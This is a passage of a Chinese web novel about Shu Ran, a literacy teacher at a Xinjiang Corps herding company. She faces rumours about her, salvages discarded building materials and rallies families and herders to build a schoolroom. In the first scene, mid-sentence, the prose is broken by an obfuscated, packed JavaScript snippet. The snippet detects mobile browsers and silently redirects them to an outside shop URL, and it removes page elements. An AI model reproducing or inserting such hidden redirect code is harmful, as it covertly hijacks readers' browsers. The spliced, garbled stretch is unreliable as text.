周围几个妇女你看看我,我看看你,都被舒染编的话唬住了,生怕对方会去连部里打小报告,万一上面处理下来……那后果不敢想。 很快,他们便沉默地回归到打水的队伍里。 一直到舒染打完水,都没有一个人再讲话。 舒染挑着水回到到宿舍,最后一点力气,将桶里所剩不多的水倒进水缸里。 水花溅起,缸底终于积了浅浅的一层,离满还差得远。 舒染撑着水缸边缘,大口喘着气。体力活是真累啊,她庆幸自己有文化,能争取到一个比较轻松的工作任务。 * 陈远疆办公室的门虚掩着。他坐在那张掉漆的旧木桌后面,桌上摊着几张写满字的材料纸。他低着头,手里拿着把刃口雪亮的小刀,正专注地削着一截铅笔,薄薄的木屑打着旋儿落下,在他桌子上积了一小堆。 “笃笃笃。”敲门声很轻,带着点犹豫。 “进。”陈远疆削铅笔的动作没有停顿。 门被轻轻推开,是连里的保卫干事小刘。他进来后迅速带上门,快步走到桌前,压低了声音:“陈干事,牧区那边闹起来了!艾山家的老阿肯,拿着鞭子,把阿迪力那小子狠狠抽了一顿!动静不小!” 陈远疆手中的小刀停住了,他抬眼看向刘干事,问道:“原因?” “嗨,还能因为啥?”刘干事往前凑了凑,声音压得更低,带着点绘声绘色的意味,“就那点破事呗!说舒染老师偷水、半夜出去瞎跑,品行不端!老阿肯死活不让阿依曼再去启明小学了,说怕带坏了草原的姑娘!阿迪力那小子顶了几句嘴,挨了鞭子,听说气得跟疯牛似的,冲出来就往连队这边来了!” 他顿了顿,意有所指地补充,“估计……是找那位舒老师去了。刚才有人看见他往工具棚那边冲,拳头攥得紧紧的!” 陈远疆没有再问,立刻起身,干脆利落地拿起搭在椅背上的深蓝色军装外套。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16361306|183694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “去牧区。”他依旧沉静,但的手上的动作却没停。 “啊?现在?”刘干事愣了一下,下意识地问,“那启明小学那边……万一阿迪力那小子犯浑……” “马连长在连里坐镇。你,”陈远疆穿上外套,目光扫过刘干事,“跟我去艾山家。了解情况,沟通。”他顿了顿,补充道,“教育,是政策。” 刘干事看着陈远疆那双深不见底的眼睛,心头那点看热闹的心思也散了,连忙点头:“是,是!我这就去牵马!” 陈远疆和刘干事赶到老阿肯家那顶毡房时,老阿肯正坐在小桌前,图尔迪垂着头,坐在下首。阿依曼蜷缩在母亲怀里,眼睛红肿得像桃子,早已哭累了睡去。 陈远疆解下马鞭放在门口,大步走进来。刘干事紧随其后,显得有些局促。 “老阿肯。”陈远疆没有客套,直接开门见山地问:“听说,您对启明小学的教学工作,有意见?关于舒染同志。” “哼!”老阿肯眼皮都没抬一下,用力摩挲着膝盖上的马鞭鞭柄,“意见?陈远疆,我不敢有意见!我只问一句,上面派来的老师,半夜三更跑出去偷水,还在外头晃荡,这算什么?这就是你们教给我们娃娃的东西?” 他盯住陈远疆质问道:“我的阿依曼,是纯洁的雪莲花!我不能让她被污染!启明小学,我们的孩子,不能去了!” 陈远疆静静地听着,脸上没有任何表情变化,直到老阿肯说完,他才开口: “老阿肯,您关心孩子的成长,这很好。上面支持教育,是为了让下一代,无论是汉人的孩子,还是哈萨克的孩子,都能识字明理,懂得更多生存的本领,也懂得国家的大道理。” 他的语气放沉,“偷水,深夜不归,这是很严重的话。事情没有调查清楚之前,不能轻易下结论,更不能因此耽误了孩子学习的机会。” 他看向一直沉默不语的图尔迪:“图尔迪,你说呢?” 图尔迪被点名,看了看老阿肯铁青的脸色,叹了口气,又低下了头。 陈远疆的目光最后落回老阿肯脸上,“教育是国家定下的政策,舒染同志是上面批准任命的扫盲老师。关于她的那些传言,我会亲自调查清楚。如果是诬陷,造谣的人,兵团会处理。如果是真的,也绝不姑息!” 他的目光扫过毡房内每一个人的脸:“但在事情查明之前,因为几句没影子的闲话,就让孩子断了学习的路,这真的是为孩子好吗?” 老阿肯盯着陈远疆那双深不见底眼睛,却一时找不到反驳的话。 * 工具棚里,上午的课刚结束。 舒染正俯身在一张矮凳边,帮小丫把写满歪歪扭扭“人”字的废报表纸仔细地叠成一个小方块,塞进她的小口袋里。“回家给爸爸妈妈看看,小丫今天学会写‘人’字了,真棒!” 小丫仰着红扑扑的小脸,羞涩又骄傲地笑了。 “舒老师,”石头凑过来,神秘兮兮地压低声音,小手在破口袋里掏啊掏,最后摸出一块用脏兮兮的小手帕包着的东西,飞快地塞到舒染手里,“给阿依曼的!昨天我娘给的,我没舍得吃。” 手帕打开,里面是一小块沾着棉絮和口袋碎屑的甜菜根熬的糖块。 舒染正要说什么。 “砰——!” 教室那扇原本就单薄的门板被狠狠踹开。 阿迪力闯了进来。 他指着舒染,用蹩脚的汉语大声说: “你!坏!老师!” 50-55 第51章 舒染在空荡荡的会议室里坐了一会儿。煤油灯的光晕黄, 把她影子投在土墙上,外面传来几声狗叫,还有下晚学习的人们散去的脚步声。 “原则同意, 自己想办法。”这句话在她脑子里转了一圈,沉甸甸的。说没成果吧, 支部点了头,名正言顺了。说有成果吧,要啥没啥, 等于白纸一张。 她熄了灯,摸黑走出来。连部院子已经空了,只有值班室还亮着一点光。 刚走到院子门口,暗影里忽然传来一个低沉的声音:“舒老师。” 舒染脚步一顿, 心里面吓了一跳, 但还是强装镇定, 辨出是陈远疆。他靠在土墙边的阴影里, 几乎和夜色融为一体。 “陈干事。”舒染站定, 心里琢磨着他等在这儿是为什么。有什么后续的指示? 陈远疆从阴影里走出来, “支部的决议,都听明白了吗?” “听明白了。”舒染回答, 语气尽量平静,“谢谢您会上帮我说的话。” “我不是帮你。”陈远疆语气没什么起伏, “我说的是事实。安全生产,预防为主。” 他顿了一下, 像是打量了她一眼, 尽管夜色里看不清表情:“你是不是觉得没着落?” 舒染没吭声,算是默认。 “路是人走出来的。”陈远疆的声音依旧没什么温度,但话的内容却让舒染竖起了耳朵, “师部每年有一笔小额特殊建设补助,额度不大,专门针对基层连队解决像你这种急难险重又够不上大项目的问题。需要写详细的申请报告,跟全师其他连队竞争,师部会评审。” 舒染的心跳快了一拍。补助?竞争? 陈远疆继续道:“团部后勤仓库,每年清仓,都会淘汰下来一批旧物资。这些东西,正经项目看不上,当废品处理又可惜。负责仓库的老姜头,脾气倔,但认死理。你如果能磨动他,或许能淘换点东西。” 舒染的眼睛亮了起来。 “还有,”陈远疆最后补充了一句,目光似乎扫过远处黑黢黢的牧区方向,“牧区群众,对知识是有期待的。老阿肯上次提过知识毡房。他们可能提供不了砖瓦木材,但羊毛、人力、甚至以后教室建成后的保暖防潮,或许能出点力。怎么发动,看你自己。” 他说了三条路,每一条都指了个方向,但每一条听起来都不容易。 不过有了具体的目标,再难也知道该往哪儿使劲。 “我明白了。”舒染深吸一口气,夜里的凉气钻进肺腑,让她清醒了不少,“谢谢您指点。” “嗯。”陈远疆应了一声,似乎没有再说话的意思,转身就要融入夜色。 “陈干事,”舒染忽然叫住他,问了一个盘旋在她心里好几天的问题,“前几天,我在教室捡到的粉笔头和石膏粉……” 陈远疆脚步停住,没回头,只有声音淡淡传来:“师部保卫处清理废旧物资,看着还能用,就让人捎过来了。怎么,不能用?” “……能用。很好用。”舒染看着他的背影,心里那点猜测落了地,还有点别的什么情绪涌上来,说不清。 “能用就行。”他说完,这次真的走了,脚步声很快消失在黑暗里。 舒染在原地站了一会儿,慢慢往回走。无力感还没完全散去,但已经被一种更急切的计算和规划压了下去。补助要怎么写才能打动评审?团部仓库的老姜头有什么喜好?牧区那边,该怎么开这个口? 她走到工具棚附近,没回宿舍,反而拐去了棚子后面那一小片她早就看好的空地。她从口袋里掏出那半截宝贝似的粉笔头,就着依稀的月光,在地上画了一个大大的长方形。 那是她心目中教室的大小。 第二天一早,天刚蒙蒙亮,舒染就起来了,她先去了工具棚后面那片空地。 石头、栓柱还有另外两个大点的孩子已经等在那儿了。 “之前让你们打听的旧家伙什,有眉目了吗?” “有!”石头抢着报告,“我爹说家里有个旧镐头,断了把儿的,要是学校有用,他就捐了!” “我家有半截破麻绳!” “铁蛋家有个不要了的破铁皮桶!” 孩子们七嘴八舌,报上来的都是些破烂儿,但舒染听得认真。 “好,这些东西,先集中放到棚子后面那个角落。”她指挥着,然后拿出一个小本子,“接下来,有新任务。石头,你带两个人,去打听咱们连里,谁家自留地种的菜吃不完,或者有什么晒好的菜干、攒的鸡蛋舍不得吃想换点针头线脑的。别强要,就问,愿意换的,记下来,用什么换,换多少。” 栓柱挠头:“舒老师,咱要菜干啥?学校又不开火。” “自有用处。”舒染没多解释,又看向另一个大点的女孩,“春草,你带几个女同学,去问问各家阿姨婶子,有没有攒下来的碎布头、旧毛线,或者会做手工活的,也记下来。” 孩子们虽然疑惑,但看舒老师说得认真,都领命去了。 舒染自己则去了豆腐坊。李秀兰刚忙完一轮,正在刷锅。 “秀兰,那豆腐渣……?” 李秀兰左右看看,压低声音:“我跟师傅磨了半天,他说猪也得吃好的才能长膘……不过,他说每天最后那点底子,实在滤不干净的,可以给你留一小盆。就一小盆啊!” “一小盆就够!”舒染笑了,“太谢谢你了秀兰!” 李秀兰也笑了:“舒染姐,能帮上你我很开心,我知道你这些稀奇古怪的东西肯定有大用处。” 下午放学后,舒染没急着走。她看着孩子们把她白天吩咐收集来的那些断镐头、破铁皮、锈镰刀、旧木棍——还有那一小盆豆腐渣,都堆到了工具棚后面。 王大姐路过,看得直愣神:“舒老师,你这又是弄啥呢?收拢这些破铜烂铁,还弄这腥乎乎的豆腐渣?” 舒染正挽起袖子,把那豆腐渣和挖来的泥土、铡碎的麦草梗混在一起用力搅拌,头也不抬:“大姐,这可是好东西。和泥脱土坯的时候,加一点这个,能增加黏性,坯子不容易裂。这点破铜烂铁,我看看能不能挑出能修的,以后盖房子打地基、和泥巴,总用得上一两件。” 王大姐张大了嘴,半天才合上:“哎哟我的老天爷……你这心眼子真是……连豆腐渣都能让你派上用场!” 舒染直起腰,擦了把汗,看着那堆东西,眼睛亮晶晶的:“没办法,支部说了,让我自己想办法。这些东西,不就是办法么?” 她拿起那半截锈蚀的镐头,掂了掂,又看看那盆混合了豆腐渣的泥巴,心里盘算着:等淘换工具的家伙什稍微齐备点,就可以试着在这块空地上,脱出第一块属于启明小学自己的土坯了。 连着好几晚,教室里的煤油灯都亮到很晚。她伏在讲桌上,对着那本写满了数字和草图的笔记本,还有几张从石会计那儿要来的废报表背面,写写画画。 补助申请报告不好写。既要说明困难,又不能卖惨;既要写出必要性,又不能显得好高骛远;既要详细,又不能啰嗦。她写废了好几张纸。 第三天晚上,她正对着一处表述绞尽脑汁,窗外传来两声轻轻的叩击。 舒染一怔,警惕地问:“谁?” 外面沉默了一下,传来陈远疆的声音:“报告开头加上‘响应上级关于加强基层教育设施建设的号召’。” 舒染心跳漏了一拍,赶紧走到门口,把用粗木棍顶住的门打开,拉开一点门缝。外面黑漆漆的,只能看到一个模糊的轮廓。 “师部评审看重这个。”陈远疆的声音很低,语速很快,“数据引用最新下发的《兵团基层连队生产生活设施简易建设标准》里的附表三,页码我放在窗台砖头下了。” 舒染下意识扭头看窗台,果然看到一点纸角。 “损失估算部分,加上‘可能影响民族团结工作稳步推进’,结尾措辞改成‘恳请组织审核批复’,不要用‘希望’。” 他说完这几句,停顿了一下,似乎侧耳听了听外面的动静,然后脚步声就远去了,轻得几乎听不见。 舒染靠在门板上,心跳得有点快。她慢慢走到窗边,抽出那页纸,上面是一个清晰的页码数字和一行标准的文件引用格式。她回到桌前,按照刚才听到的几点,飞快地修改起来。 第二天天没亮,宿舍里就窸窸窣窣响动起来。王大姐第一个起身,李秀兰也揉着眼睛坐起来,打着哈欠开始穿衣服。 “舒老师,昨儿又熬到那么晚?”王大姐压着声音问,“瞧你那眼睛,都熬红了。啥报告那么要紧?” 舒染坐起来,套上那件一件旧外套:“就是申请盖教室的报告,总得拿出个像样的章程。” “唉,也是难为你。”王大姐叹口气,“光有章程有啥用。” 李秀兰凑过来,小声说:“舒老师,我昨天又攒了点豆腐渣,捂在墙角那个破瓦盆里了,你看啥时候用?” “先放着,等我从团部回来再说。”舒染把那叠报告仔细地揣进怀里,又拿起一个冷窝窝头,“我走了啊,大姐,秀兰。” 她得去团部,先交报告,再去后勤仓库碰碰运气。 她爬出地窝子,天色灰蒙蒙的,连队里已经有人声和脚步声。她紧走几步,赶到连部门口等那辆三五天才跑一趟团部的拖拉机。 拖拉机突突突地冒着黑烟过来,车斗里已经坐了几个人,都是去团部办事或者探亲的。舒染跟司机打了个招呼,费力地爬上车斗,找了个角落缩起来。 到了团部,她跳下车,拍打着一身的土,先直奔办公的地方交了报告。 团部的办公室比连部气派些,人也多。交报告倒还顺利,接待的人收了,只说了句“等通知”,就没了下文。 她没多停留,又问了好几个人,才找到后勤仓库那片地界,那地方在团部最边上,一排土坯库房,门口堆着些杂物。 她老远就看见一个精瘦的老头,穿着褪色的旧军装,戴着套袖,表情严肃又认真,正拿着个本子清点东西,对舒染爱答不理。 “姜师傅?”舒染试探着叫了一声,脸上挤出笑,“您好,我是畜牧连小学的舒老师……” 话没说完,老姜头眼皮一耷拉:“领东西?条子!” “呃……不是领东西。”舒染尽量让语气显得恭敬又诚恳。“姜师傅,我们连里想给孩子们盖间新教室,支部批了,但啥也没有。听说您这儿有些淘汰下来的旧料子,您看能不能……” “没有!”老姜头斩钉截铁,把手里的本子用力一合,“好的没有破的也没有!都哪儿听来的闲话!” 舒染不死心,试着打动他:“姜师傅,您行行好,给看看呗?孩子们现在上课那棚子,一下雨就漏,跟水帘洞似的……” “哪个连队不困难?都像你这样来要,我这仓库还怎么管理?”老姜头不耐烦地挥挥手,“去去去,别耽误我干活。” 舒染不死心,跟在他后面磨:“我们不要好的,就要您准备当废品处理的就行。破了的油毡、弯了的椽子、锈了的钉子都行!我们自己去拾掇!” 老姜头被她缠得没法,猛地停住脚步,瞪着她:“去去去!小姑娘家家的,缠磨什么!我这按规矩办事!没条子,说破天也不行!” 舒染正没奈何,一个有点耳熟的声音插了进来:“哟,这不是畜牧连的舒老师吗?咋跑这儿来了?” 舒染回头一看,是团部后勤的张干事,上次接待过她的那个山东人,正推着辆自行车过来,车把上挂着个网兜,里面装着几个窝窝头。 “张干事!”舒染像是见到了救星,赶紧把情况又说了一遍。 张干事一听就笑了,支好自行车,拍了拍老姜头的肩膀:“老姜头,别这么死板嘛!舒老师又不是为自己,是为了娃娃们。那些堆在角落的,能派上用场的东西,给孩子们挡挡风遮遮雨也是好事嘛!就当支援教育了!你这老革命,思想觉悟得跟上啊!” 老姜头对张干事倒是没那么横,但还是梗着脖子:“说得轻巧,东西给了他们,万一出了事谁负责?规矩就是规矩!” “能出啥事?几块旧的破的油毡还能出啥事?”张干事笑着,又对舒染说,“舒老师,你自己去那边那个废料堆看看,有啥相中的,跟老姜头说一声,登记一下,算你们连借的,以后有了好的再还嘛!”他冲舒染使了个眼色。 说完又拍拍老姜头的肩膀:“老姜头,登记一下总行了吧?给我个面子!” 老姜头哼哼唧唧,到底还是磨磨蹭蹭去拿了登记本。舒染心领神会,赶紧道谢,小跑着冲进那堆满了废旧物品的场地。 她在里面翻抹了好一阵,把能用的都挑出来。弄得满手满脸都是黑灰,终于挑出几卷边缘破损但中间还能用的黑色油毡、十几根有点弯曲但木质还算结实的杨木椽子、一大包生锈但没烂透的铁钉和螺丝,甚至还在角落发现小半袋硬得像石头的水泥块。 老姜头虽然还是板着脸,但到底还是拿来本子,不情不愿地让她登记了。他一边登记,一边没好气地念叨:“油毡两卷!椽子十五根!铁钉五斤!水泥……哼,这已经黏上的疙瘩还能用?拿走拿走!记得啊,这些都是借的!以后要还!” “哎!谢谢姜师傅!”舒染连连鞠躬,以后的事情以后再说吧,先把眼前的事情办了。 舒染从后勤仓库那堆满废料的院子里出来,看着那一大堆沉甸甸的物资,刚才的兴奋劲儿过去,现实问题来了,怎么弄回去? 她试着搬动那卷最大的油毡,龇牙咧嘴使了半天劲,也就挪动了一小点。这要是靠她自己,怕是搬到天黑也弄不到拖拉机停靠点。 老姜头揣着手在旁边看着,鼻子里哼了一声,显然不打算管。 张干事推着自行车还没走,见状笑了起来:“舒老师,你这可是蚂蚁搬泰山啊。等着,我帮你搭把手。” 他把自行车支好,走过来提起那捆椽子掂了掂:“老姜头,找根结实点的麻绳来!” 老姜头不情愿地嘟囔着,还是从屋里翻了截脏兮兮但看起来挺结实的粗麻绳出来。 张干事利索地把油毡卷和椽子并在一起,用麻绳上下几道捆扎结实,打了个死结。然后他把自行车推过来,车把调了个方向,车座朝前。 “来,搭把手,把这大家伙架我车座上。”张干事招呼舒染。 两人费了点劲,才把那捆东西架在自行车座和后架上,张干事用一只手费力地扶着。 “这包钉子和小水泥,你拎着。剩下的,跟我走!”张干事一手扶车把,一手扶着身后的重物,推着自行车往前走。自行车被压得吱呀作响。 舒染赶紧拎起那包钉子和水泥块,小跑着跟上,心里又是感激又是过意不去:“张干事,太麻烦您了!这……这怎么好意思……” “嗐!这有啥!”张干事推得有点喘,但语气还算轻松,“之前接你的那个陈干事,上次来团部开会,还特意跟我提过一句,说你们连小学有个上海来的老师,一个人挺不不容易的,又一心扑在孩子身上,让我有机会关照关照。我这也是落实领导指示嘛!” 他像是随口一说,舒染却明白,这是说者有意。陈远疆私下跟张干事打过这样的招呼,她脑海里闪过他那张总是没什么表情的脸。 “陈干事他……也就是工作上要求严格。”舒染不知该怎么接话,含糊了一句。 “严点好,严点好哇。”张干事笑呵呵的,“不过他对你们这小学,倒是真上心。诶,小心脚下!” 路上坑坑洼洼,满载的自行车颠簸得厉害。舒染也差点没走稳,那包锈钉子几乎要从舒染手里滑出去,她手忙脚乱地抱住。 张干事稳住车子,“这些东西,也就是你们不嫌弃。放仓库里真是占地方,老姜头那老倔头,也就是嘴硬,其实巴不得有人清走。” 两人一路说着,终于到了拖拉机停靠点。那辆破旧的拖拉机已经等在那里,车斗里空空荡荡,司机正靠在车头上打盹。 “老王!醒醒!帮个忙!”张干事喊了一嗓子。 司机老王揉着眼过来,一看这架势乐了:“哟,张干事,你这是改行收破烂了?” “少贫嘴,这是畜牧连舒老师给学校淘换的宝贝!赶紧搭把手,搬车上去!”张干事笑骂着。 三人一起用力,才把那捆沉重的油毡和椽子卸下车架,推进拖拉机斗里。舒染又把那包钉子和水泥块小心地放在角落。 东西装好,舒染爬上车斗,扶着那捆摇摇晃晃的建材,连声对张干事道谢:“张干事,今天真是太谢谢您了!没有您,我真不知道怎么办才好!” “谢啥,举手之劳。”张干事摆摆手,推起自己的自行车,“回去跟陈特派员说,东西我老张可是亲自帮他押送上车了啊,让他记我个人情!哈哈!” 拖拉机突突突地发动起来,冒着浓重的黑烟。舒染扶着车斗栏杆,看着张干事推着自行车的身影越来越远,心里那块大石头总算落了地。 车斗上的人来的差不多了,舒染紧紧扶着她的东西,看着团部的土房子渐渐消失在视野里,心里已经开始盘算着怎么利用这点来之不易的资源了。 拖拉机突突突地开回畜牧连时,日头已经偏西了。车斗里的人陆陆续续地下车后,现在就剩舒染一个人了她几乎是半抱着那捆油毡和椽子。 一路颠簸让她浑身骨头都快散架了,脸上、头发上扑满了尘土。 司机老王把拖拉机停在连部门口惯常的位置,探头冲着车斗里喊:“舒老师!到地儿了!你这堆宝贝咋弄?” 正是下工时分,扛着农具的职工们三三两两地往回走,老王的大嗓门一下子引来了不少目光,大家看到车斗里那堆显眼的东西和灰头土脸的舒染,都好奇地停下了脚步。 舒染赶紧从颠簸的车斗里站起身,扶着栏杆跳下车,一个趔趄差点没站稳。她拍打着身上的尘土,连声道:“王师傅,谢谢您!麻烦您稍等一会儿,我这就开始卸车!” “舒老师?你这是从哪儿弄来这么多家伙什?”有人高声问。 舒染还没来得及回答,就见马连长和赵卫东正好从连部出来,像是要去看渠上的进度,也被这动静吸引了目光。 赵卫东一眼就扫见了车斗里的东西,尤其是那几卷边缘破损、沾满灰尘的油毡,他快步走过来,满是惊讶:“舒染!你这弄的是些什么?从哪儿搞来的?” 舒染赶紧解释:“报告赵主任,是从团部后勤仓库淘换来的旧料子,盖教室用。姜师傅和张干事特批的,登记借用的。”她特意强调了“借用”和“特批”。 司机老王在一旁插话,带着点跑车人的自来熟和看热闹的意思:“可不是嘛!赵主任,您可是没看见,舒老师这在团部后勤仓库那废料堆里刨扯的劲头,好家伙,跟淘金似的!人家张干事还亲自帮着捆好,用自行车给驮到拖拉机点呢,这面子可不小!” 马连长也背着手走了过来,伸头看了看车斗里的东西,咂咂嘴:“哦?老姜头那个铁公鸡肯拔毛了?还是张干事给说的情?这些都是……淘汰下来的?”他拿起一根弯曲的椽子,掂了掂。 “是,都是旧的,但收拾收拾应该能用。”舒染赶紧补充,“支部说了让自己想办法,我就去试试……” 赵卫东看着那堆东西,又看看围观的职工,提出了质疑:“旧的好啊,旧的不用钱!可这破破烂烂的,能用吗?别到时候房子没盖起来,再砸着人!” 马连长倒是打了个圆场:“哎呀,老赵,有总比没有强。舒老师能想办法弄来这些,也是本事嘛。总不能让娃娃们一直在漏雨的棚子里上课。”他转向舒染,“这些东西,你打算放哪儿?” 这下问到了关键。舒染早就想好了:“连长,工具棚后面有块空地,支部划给教室用的。就先暂时堆那儿,行不行?我保证码放整齐,不影响走路。” 马连长挥挥手:“行吧行吧,就先放那儿。看着点,别让娃娃们乱摸乱爬,扎着手。” 这时,王大姐、李秀兰,还有张桂芬、王翠花几个家属也闻讯赶来了。一看车斗里的东西,都七嘴八舌地议论开来。 “哎哟!真是油毡!虽然破了点,补补肯定能顶用!” “这椽子是杨木的,看着还行,削削直就能上房!” “还有钉子!这下不用愁了!” “舒老师你真行啊!真让你淘换来了!” 王大姐嗓门最亮,立刻指挥起来:“都别愣着了!老爷们儿搭把手,和我们妇女一起帮舒老师把东西卸下来!老王师傅,麻烦您这大家伙再多停一会儿哈!” 司机老王嘿嘿一笑,索性熄了火,跳下车,抄着手在旁边看热闹:“没事儿,差这一会儿,你们麻利点就行!” 王大姐这一喊,几个热心的职工和家属立刻上前。男人们跳上车斗,把沉重的油毡卷和椽子递下来,下面的女人和半大孩子们接着,抬的抬,扛的扛。舒染也忙前忙后,帮着往工具棚后面那块空地上搬。 李秀兰没力气干重活,就拿着她那个小本子跑前跑后,嘴里念叨着:“慢点慢点,油毡别扯坏了……椽子放那边,对,码整齐……钉子!钉子那包轻点放,别撒了……” 石会计也背着手溜达过来,看着这热闹场面,尤其是那半袋结块的水泥,推了推眼镜,对舒染说:“舒老师,这水泥疙瘩,得用的时候拿锤子敲碎,过筛,还能将就着用用。就是费工夫。” “哎!谢谢石会计提醒!”舒染赶紧记下。 赵卫东在旁边看了一会儿,看着众人热火朝天却又井然有序地把那些材料归置到空地上,码放得还算整齐,最终没再说什么,只是对马连长说了句“我去渠上看看”,便转身走了。马连长又看了一会儿,也背着手踱步离开了。 东西不多,但人多力量大,很快就卸完了。 老王看东西卸得差不多了,冲舒染喊了一嗓子:“舒老师,东西齐了吧?齐了我可就走了啊!” “齐了齐了!太谢谢您了王师傅!”舒染赶紧跑过去道谢,顺手从口袋里掏出一个小纸包,里面是两块水果糖,塞到老王手里。 老王愣了一下,嘿嘿笑着接过来,也没客气:“哟,还有这好玩意儿!谢了啊舒老师!以后去团部还坐我车!”说完,他发动拖拉机,在一片突突突声和黑烟中,开着拖拉机走了。 工具棚后面,那堆旧建材像一座小山包一样堆在那里。 张桂芬用围裙擦着手,看着那堆东西,感叹道:“这下总算有点眉目了!” 王翠花则有点发愁:“东西是有了,可这打土坯、盖房子是技术活,光靠咱们这些人……” 舒染脸上汗水和灰尘混在一起,却笑得舒心:“慢慢来吧,技术活我看看能不能请钱师傅来指点,慢慢学吧,到时候,还得靠大家伙帮忙!” “没问题!” “随叫随到!” 家属们应和着,气氛热烈。 她们看着舒染,眼神里多了几分信服和佩服。这个上海来的女老师,看着文文弱弱,没想到真有一股子韧劲,愣是能抠出这些东西。 第二天,舒染没急着动工,而是提了一袋用攒下的零碎粮票换的苹果,又去了牧区。找到老阿肯时,他正带着阿迪力修理马鞍。阿依曼趴在一旁用树枝在地上写字。 舒染没坐,就站着,把去团部的情况说了,重点强调支部同意了,也弄到点旧材料。 “……就是想给娃娃们弄个结实点的地方,冬天不至于冻着。”她说的很实在,“知道你们转场忙,活也多,就是来看看,有什么能搭把手的,出点主意也行。” 老阿肯沉默地听着,手里的活儿没停。过了一会儿,他开口:“图尔迪过几天要去团部拉饲料,可以顺便帮你们拉点东西。” 图尔迪在一旁接口:“鞣好的羊皮,我家里还有几张,铺在地上,娃娃们坐着,隔潮气。羊毛也有一些,不多,你们看能换点啥就换点啥。” 阿迪力立刻跑进毡房,吭哧吭哧拖出来两张厚重的羊皮,羊毛那面软乎乎的。 阿迪力看着老阿肯,又看看舒染,憋出一句“盖房子,我也能干活!” 老阿肯瞪了孙子一眼,却没反驳,只是对舒染说:“转场忙完了,壮劳力有空了,能去帮几天。但吃的,得你们管,一定要按照我们的习俗。” “哎!管!肯定管!”舒染赶紧应下,把水果塞给旁边眼巴巴看着的阿依曼。这已经远超舒染的预期了。 回到连队,她掀开帘子走进地窝子。王大姐正端着盆水出来泼,看见她就问:“染妹子,牧区那边咋说?” 舒染笑笑:“王大姐,正好跟你商量个事……”她把牧区答应出人力的事说了,然后道:“……人家来帮忙,饭食上咱不能亏待了。我那箱子里还剩一些粮票,明天去换一点粮食和棉籽油,要是能买到肉更好,到时候想请你们做点饭,大家一起吃,让人家吃饱肚子干活,也当是给家属和娃娃们改善改善伙食。” 王大姐一听,嗓门亮起来:“这是正理!光让人干活不管饭哪行!地主家雇短工还得管饱呢!我跟家属们去游说游说,看看能不能凑一点野菜、干菜啥的。大家肚子里都没啥油水,估计都愿意呢!都是为了娃娃!” 她说着,风风火火就要转身去张罗,却猛地又想起什么,脚步顿住,转回身凑近舒染,声音压低,带着疑惑和关切:“哎,等等……染妹子,你刚才说……用粮票换?你那粮票,还有之前那些稀罕东西,都是从上海带来的吧?那可都是你压箱底的体己!这盖教室是公家的事,咋能让你自个儿往里贴补?这……这没这个道理啊!你都贴进去了,自己以后咋办?在这地方,没点东西傍身咋行?” 王大姐有点不赞同。在她看来,公家的事就得公家办,让个人,尤其是一个单身姑娘拿自己的好东西往里填,这说不通,也让人心疼。她生怕舒染是一时热血,干了傻事。 舒染看着王大姐真心实意为她着急的模样,心里一暖,笑了笑,解释道:“大姐,您放心,我没那么傻。我不是白贴。” 她掰着手指头给王大姐算:“我从上海是带了些全国粮票和一点糖果,但那才多少?坐吃山空肯定不行。我换给牧区孩子糖,是为了让他们安心来上学,这叫教育投资。现在用糖和零碎东西换家长们的支持,换来劳力、换来材料、换来大家齐心,这叫以小博大。” 她眼神清亮:“您想啊,要是教室真盖起来了,娃娃们能好好上学,我省了多少心?扫盲任务早点完成,上面说不定还能有点奖励,给我评个职称、或者什么先进或者劳模什么的,就算没有,我把这群孩子带出来,那就是我的口碑。而且我一个人在这里想花钱也买不了什么,这比把那点糖和粮票攥手里发霉强多了,对吧?” 她顿了顿,语气更实在了些:“再说,我也不是全贴。大家凑的口粮是主力,我那点东西,就是引子,是敲门砖。让大伙儿觉得我这老师不是光动嘴皮子,也出实在东西,他们才更愿意出力。这叫……嗯……有来有往。” 王大姐听得一愣一愣的,仔细琢磨着舒染的话,脸上的担忧慢慢变成恍然又佩服的神情:“哎哟!我的老天爷!你这心眼子真是……七拐八绕的!比我想得深多了!” 她拍了下大腿,笑了起来:“行!你心里有谱就行!我还怕你犯傻呢!这么一说我就明白了!我这就去跟她们说,舒老师连从上海带来的宝贝都舍得拿出来给咱们换力气,咱们出把子力气、凑点口粮还有啥舍不得的!” 王大姐这下彻底没了顾虑,转身风风火火地就走了,开始挨家挨户去游说去了。 舒染看着王大姐的背影,轻轻呼了口气。她确实没那么无私,每一步都带着点生存的智慧和利己的考量。但这点利己,并不妨碍她同时也想为孩子们做点事。在这片艰苦的土地上,或许只有这样,才能把想做的事,一点点做成。 消息很快传开。家属们七嘴八舌,这个说出几碗豆面,那个说出两捆柴火。 又过了两天,连队西头脱坯场边上那块批下来的空地,总算有了点动静。 钱师傅被舒染请来当技术指导,背着手在旁边指挥:“地基得挖深点!这地方碱大!” 三四个会点泥瓦活的男人,还有闻讯来的两个牧民汉子,开始清理地面,挖地基沟。 孩子们跑来跑去,帮忙递点小东西。 王大姐带着几个家属妇女支起一口大锅,在远处避风处用土坯垒了个简易灶台,架上大锅,烧起了开水,旁边筐里放着各家凑来的杂粮饼子。 几个小娃娃兴奋地跑来跑去,被大人呵斥着离坑远点。 李秀兰就坐在一个小马扎上,面前摆着个用旧木板搭的桌子,登记着谁来干了活,干了多久,领走了几件旧工具,用了多少材料——这都是舒染交代的,以后万一有什么,也说得清楚。 赵卫东骑着自行车路过,车速慢了下来。 他看了几分钟,看着那热火朝天却又显得有些简陋混乱的场面,眉头习惯性地皱着,却没说什么。 过了一会儿,他对跟在旁边的马技术员低声说了句:“看着点,要是他们的家伙什坏得实在不能用,业余时间帮着拾掇拾掇,别耽误正活。机修组那边,废零件堆里看看,有没有能凑合当夯锤、撬棍用的,让他们省点力气。” 这几乎算是最大的支持了。 傍晚收工后,人都散了。舒染一个人还在空地上,检查着晾晒的土坯和挖了一半的地基沟。忽然,她看到地基线的位置,不知什么时候被人用脚细细地踩实了一遍,旁边还放着两把换了新把手的铁锹。 